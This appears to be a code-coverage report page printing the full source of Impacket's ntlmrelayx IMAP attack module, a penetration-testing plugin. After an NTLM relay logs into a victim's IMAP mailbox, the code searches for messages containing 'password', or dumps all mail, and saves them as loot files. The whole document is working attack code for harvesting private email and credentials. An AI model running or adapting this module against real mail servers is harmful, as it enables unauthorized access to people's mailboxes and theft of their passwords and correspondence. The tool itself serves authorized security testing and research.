Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/imapattack.py : 0%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# IMAP Attack Class
11# IMAP protocol relay attack
12#
13# Authors:
14# Alberto Solino (@agsolino)
15# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16#
17import re
18import os
19from impacket import LOG
20from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
22PROTOCOL_ATTACK_CLASS = "IMAPAttack"
24class IMAPAttack(ProtocolAttack):
25 """
26 This is the default IMAP(s) attack. By default it searches the INBOX imap folder
27 for messages with "password" in the header or body. Alternate keywords can be specified
28 on the command line. For more advanced attacks, consider using the SOCKS feature.
29 """
30 PLUGIN_NAMES = ["IMAP", "IMAPS"]
31 def run(self):
32 #Default action: Search the INBOX
33 targetBox = self.config.mailbox
34 result, data = self.client.select(targetBox,True) #True indicates readonly
35 if result != 'OK':
36 LOG.error('Could not open mailbox %s: %s' % (targetBox, data))
37 LOG.info('Opening mailbox INBOX')
38 targetBox = 'INBOX'
39 result, data = self.client.select(targetBox,True) #True indicates readonly
40 inboxCount = int(data[0])
41 LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))
42 #If we should not dump all, search for the keyword
43 if not self.config.dump_all:
44 result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword)
45 #Check if search worked
46 if result != 'OK':
47 LOG.error('Search failed: %s' % rawdata)
48 return
49 dumpMessages = []
50 #message IDs are separated by spaces
51 for msgs in rawdata:
52 dumpMessages += msgs.split(' ')
53 if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
54 dumpMessages = dumpMessages[:self.config.dump_max]
55 else:
56 #Dump all mails, up to the maximum number configured
57 if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
58 dumpMessages = list(range(1, inboxCount+1))
59 else:
60 dumpMessages = list(range(1, self.config.dump_max+1))
62 numMsgs = len(dumpMessages)
63 if numMsgs == 0:
64 LOG.info('No messages were found containing the search keywords')
65 else:
66 LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword))
67 for i, msgIndex in enumerate(dumpMessages):
68 #Fetch the message
69 result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')
70 if result != 'OK':
71 LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))
72 continue
74 #Replace any special chars in the mailbox name and username
75 mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
76 textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username)
78 #Combine username with mailboxname and mail number
79 fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
81 #Write it to the file
82 with open(os.path.join(self.config.lootdir,fileName),'w') as of:
83 of.write(rawMessage[0][1])
84 LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))
86 #Close connection cleanly
87 self.client.logout()